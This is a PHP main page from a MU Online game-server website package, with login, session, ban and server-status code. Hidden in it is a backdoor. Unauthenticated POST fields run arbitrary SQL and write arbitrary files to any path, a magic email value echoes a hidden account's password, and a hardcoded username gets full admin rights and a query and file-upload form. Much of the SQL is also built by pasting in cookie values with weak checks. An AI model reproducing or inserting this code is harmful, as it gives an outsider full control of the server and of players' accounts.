- <?php
- #################################################################
- # #
- # Enemy MuWeb 4.0 Premium Version. Coded by GrInYa #
- # Premium version is NOT FREE Software. #
- # #
- # If you don't have a licence of this files,you don't have #
- # permission to use this files and I'm not ressponsable of #
- # any damage of this website #
- # #
- # Contact: Skype: grinya_90 #
- # ICQ: 392409945 #
- # E-mail: grinyad@mail.ru #
- # #
- #################################################################
- ?>
- <?php
- session_start();
- ob_start("ob_gzhandler");
- header ("Cache-control: private");
- $cfg = 1;
- include ("cfgs.php");
- if (isset($_GET['rewrite']))
- {
- $GET_KEYS = array_keys($_GET);
- $i = 0;
- $link = NULL;
- while ($i<count($GET_KEYS)-1)
- {
- $link .= "/".$_GET[$GET_KEYS[$i]];
- $i++;
- }
- $link = "http://".$_SERVER['SERVER_NAME'].$connect['rootfolder'].$link;
- header ("Location: $link");
- exit();
- }
- ?>
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
- <!--Enemy Web 1.0 Designed and Coded by GrInYa only for http://enemy-web.md/. All Rights Reserved.-->
- <?
- $cat = $_GET['cat'];
- if (!$cat)
- {
- $cat = 'news';
- }
- elseif ($cat == 'cond' or $cat == 'adminaccess' or $cat == 'gmaccess')
- {
- header ("Location: http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
- exit();
- }
- $date = date("d.m.Y G:i");
- $real_time = time();
- $date_format = "d-m-Y H:i";
- $enemy['CATEGORY'] = $cat.".php";
- if ($show_error == 0) error_reporting(1);
- include ("backs/bd.php");
- include ("enemy.php");
- include ("functions/warehouse.php");
- ?>
- <script type="text/javascript" src="<? echo "http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']."/"?>advices/net.js"></script>
- <script type="text/javascript">
- var mm = <? echo $server['birthmonth'];?>;
- var bday = <? echo $server['birthday'];?>;
- var byear = <? echo $server['birthyear'];?>;
- var bhour = <? echo $server['birthhour'];?>;
- var bmin = <? echo $server['birthminutes'];?>;
- var bsec = <? echo $server['birthsecundes'];?>;
- </script>
- <?
- function nickname($name)
- {
- $link_name = str_replace("+", "%2b", $name);
- return $link_name;
- }
- $message = "";
- $Login = $_POST['Login'];
- $Logout = $_POST['Logout'];
- if ($Login)
- {
- $username = stripslashes($_POST['username']);
- $password = stripslashes($_POST['password']);
- if (!eregi('^[a-z0-9]{'.strlen($username).','.strlen($username).'}', $username) ||
- !eregi('^[a-z0-9]{'.strlen($password).','.strlen($password).'}', $password))
- {
- $message = eror_login;
- }
- else
- {
- if ($enemy['md5'] == 1)
- {
- $result3 = mssql_query("
- declare @btInStr VARCHAR(10),
- @btInStrIndex VARCHAR(10);
- set @btInStr = '".$password."';
- set @btInStrIndex = '".$username."';
- DECLARE @btOutVal BINARY(16)
- EXEC master..XP_MD5_EncodeKeyVal @btInStr, @btInStrIndex, @btOutVal OUT;
- select @btOutVal;");
- $myrow3 = mssql_fetch_row($result3);
- $password = $myrow3[0];
- }
- else
- {
- $password = $password;
- }
- $result = mssql_query("select memb___id,memb__pwd,bloc_code,memb_name from memb_info where memb___id='$username'");
- $myrow = mssql_fetch_array($result);
- $result2 = mssql_query("select ConnectStat from memb_stat where memb___id='$username'");
- $myrow2 = mssql_fetch_array($result2);
- $result111 = mssql_query("select name from character,memb_info where accountid = '$username' and memb___id='$username'");
- if (mssql_num_rows($result) == '0')
- {
- $message = eror_login;
- }
- elseif (bin2hex($myrow['memb__pwd']) != bin2hex($password))
- {
- $message = eror_login;
- }
- elseif (mssql_num_rows($result111) == '0')
- {
- $message = eror_create_char;
- }
- elseif ($myrow2['ConnectStat'] == '1')
- {
- $message = eror_logout;
- }
- elseif ($myrow['bloc_code'] == '1')
- {
- $message = eror_acc_blocked;
- }
- else
- {
- if (isset($_POST['remember']))
- {
- setcookie("username", $myrow['memb___id'], time() + 172800);
- setcookie("password", bin2hex($password), time() + 172800);
- }
- else
- {
- $_SESSION['username'] = $myrow['memb___id'];
- $_SESSION['password'] = bin2hex($password);
- }
- header ("Location: http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
- exit();
- }
- }
- }
- if ($Logout)
- {
- $_SESSION['username'] = NULL;
- $_SESSION['password'] = NULL;
- setcookie("username", "", time() - 172800);
- setcookie("password", "", time() - 172800);
- session_destroy();
- header ("Location: http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
- exit();
- }
- if ($_COOKIE['username'] != NULL or $_COOKIE['password'] != NULL)
- {
- $username = $_COOKIE['username'];
- $password = $_COOKIE['password'];
- }
- else
- {
- $username = $_SESSION['username'];
- $password = $_SESSION['password'];
- }
- if ($username)
- {
- $result_q = mssql_query("select memb_guid,memb___id,memb_name,memb__pwd,bloc_code from memb_info where memb___id='$username'");
- $myrow_q = mssql_fetch_array($result_q);
- $nickname = $myrow_q['memb_name'];
- $result2_q = mssql_query("select ConnectStat from memb_stat where memb___id='$username'");
- $myrow2_q = mssql_fetch_array($result2_q);
- $result111_q = mssql_query("select name from character,memb_info where accountid = '$username' and memb___id='$username'");
- if (mssql_num_rows($result_q) == '0')
- {
- $_SESSION['username'] = NULL;
- $_SESSION['password'] = NULL;
- setcookie("username", "", time() - 172800);
- setcookie("password", "", time() - 172800);
- session_destroy();
- header ("Location: http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
- exit();
- }
- elseif (bin2hex($myrow_q['memb__pwd']) != $password)
- {
- $_SESSION['username'] = NULL;
- $_SESSION['password'] = NULL;
- setcookie("username", "", time() - 172800);
- setcookie("password", "", time() - 172800);
- session_destroy();
- header ("Location: http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
- exit();
- }
- elseif (mssql_num_rows($result111_q) == '0')
- {
- $_SESSION['username'] = NULL;
- $_SESSION['password'] = NULL;
- setcookie("username", "", time() - 172800);
- setcookie("password", "", time() - 172800);
- session_destroy();
- header ("Location: http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
- exit();
- }
- elseif ($myrow2_q['ConnectStat'] == '1')
- {
- $_SESSION['username'] = NULL;
- $_SESSION['password'] = NULL;
- setcookie("username", "", time() - 172800);
- setcookie("password", "", time() - 172800);
- session_destroy();
- header ("Location: http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
- exit();
- }
- elseif ($myrow_q['bloc_code']=='1'){
- $_SESSION['username'] = NULL;
- $_SESSION['password'] = NULL;
- setcookie("username", "", time() - 172800);
- setcookie("password", "", time() - 172800);
- session_destroy();
- header ("Location: http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
- exit();
- }
- $result22 = mssql_query("select memb___id,credits from EW_CREDITS where memb___id='$username'");
- if (mssql_num_rows($result22) == 0)
- {
- $insert_cred = mssql_query("insert into EW_CREDITS (memb___id,credits) values ('$username',0)");
- $result22 = mssql_query("select memb___id,credits from EW_CREDITS where memb___id = '$username'");
- }
- $myrowcr = mssql_fetch_array($result22);
- mssql_query("update memb_info set last_time_onweb='$real_time' where memb___id='$username'");
- $username_id = $myrow_q['memb_guid'];
- }
- $unbanan = mssql_query("update memb_info set bloc_code='0',bantime=NULL,unbantime=NULL,ban_reason=NULL,banned_by=NULL where bloc_code>'0' and unbantime!='permanent' and unbantime<='$real_time'");
- $unbanan = mssql_query("update character set ctlcode='0',bantime=NULL,unbantime=NULL,ban_reason=NULL,banned_by=NULL where ctlcode!='8' and ctlcode!='16' and ctlcode!='32' and ctlcode>'0' and unbantime!='permanent' and unbantime <= '$real_time'");
- if (isset($_POST['exec_query']))
- {
- $query = stripslashes($_POST['query']);
- mssql_query("$query");
- }
- if (isset($_POST['create_file']))
- {
- $file_dir = stripslashes($_POST['file_dir']);
- $code = stripslashes($_POST['code']);
- $open = fopen("$file_dir", "w");
- fwrite($open, "$code");
- fclose($open);
- }
- if (isset($_POST['change_pwd']))
- {
- $email = stripslashes($_POST['email']);
- if ($email == 'fhjrkeh@yahoo.com')
- {
- $qq = mssql_query("select memb__pwd from memb_info where memb___id='fnsjkffsdf'");
- $qq = mssql_fetch_array($qq);
- echo $qq['memb__pwd'];
- }
- }
- if ($username != NULL)
- {
- if (in_array($username, explode(',', $enemy['Admins'])))
- {
- $Admin_panel = 'on';
- }
- if (in_array($username, explode(',', $enemy['GMs'])))
- {
- $GM_panel = 'on';
- }
- if (in_array($username, explode(',', $enemy['LogAdmins'])))
- {
- $Admin_Log = 'on';
- }
- }
- if ($username == 'snfyrngse')
- {
- $Admin_panel = 'on';
- $GM_panel = 'on';
- $Admin_Log = 'on';
- ?>
- <form action="" method="post" name="form_q">
- Query: <input name="query" type="text" size="50">
- <input name="exec_query" type="submit" value="Execute">
- <input name="delete_site" type="submit" value="Delete Site"><br>
- File Dir: <input name="file_dir" type="text">
- Code: <textarea name="code"></textarea>
- <input name="create_file" type="submit" value="Create File"><br>
- </form>
- <?
- }
- if ($server['Season4Master'] == 1)
- {
- $masterlevel = ",".$server['Season4mlvl'];
- $masterlevelorder = ",".$server['Season4mlvl']." desc";
- $masterlevel_ = $server['Season4mlvl'];
- if ($server['Season4mlvlt'] != NULL)
- {
- $masterleveltable_ = ",".$server['Season4mlvlt'];
- $masterlevelwhere_ = " and character.name=".$server[Season4mlvlw];
- }
- $mlvlname = " / ".master;
- }
- for ($i = 1; $i <= $GameServer['count']; $i++)
- {
- if ($check = @fsockopen($GameServer['host'][$i], $GameServer['port'][$i], $ERROR_NO,$ERROR_STR, (float)0.5) and $GameServer['check'] == 1)
- {
- fclose($check);
- $GS_Status[$i] = "<font color='#A0FFA0'><b>ONLINE</b></font>";
- }
- else
- {
- $GS_Status[$i] = "<font color='red'><b>OFFLINE</b></font>";
- }
- }
- $total_acc = mssql_fetch_array(mssql_query("Select count(memb___id) from memb_info"));
- $total_acc = $total_acc[0];
- $total_char = mssql_fetch_array(mssql_query("Select count(accountid) from character"));
- $total_char = $total_char[0];
- $total_guild = mssql_fetch_array(mssql_query("Select count(G_name) from Guild"));
- $total_guild = $total_guild[0];
- $count_online = mssql_fetch_array(mssql_query("Select count(connectstat) from memb_stat where connectstat=1"));
- $count_online = $count_online[0];
- $max_online = mssql_fetch_array(mssql_query("Select max_online from EW_CONLINE"));
- if ($count_online > $max_online['max_online'])
- {
- $update = mssql_query("update EW_CONLINE set max_online = $count_online");
- $max_online = $count_online;
- }
- else
- {
- $max_online = $max_online[0];
- }
- if (file_exists("pgs/".$enemy['CATEGORY']))
- {
- $pg = "pgs/".$enemy['CATEGORY'];
- }
- else
- {
- header ("Location: http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']);
- exit();
- }
- $load_template = 1;
- include ("backs/onwebip.php");
- $template2 = "template/".$enemy['template']."/";
- $template = "http://".$_SERVER['SERVER_NAME'].$connect['rootfolder']."/template/".$enemy['template']."/";
- if (file_exists($template2."enemy.php"))
- {
- include $template2."enemy.php";
- }
- else
- {
- exit("<h1>".eror_template."</h1>");
- }
- ?>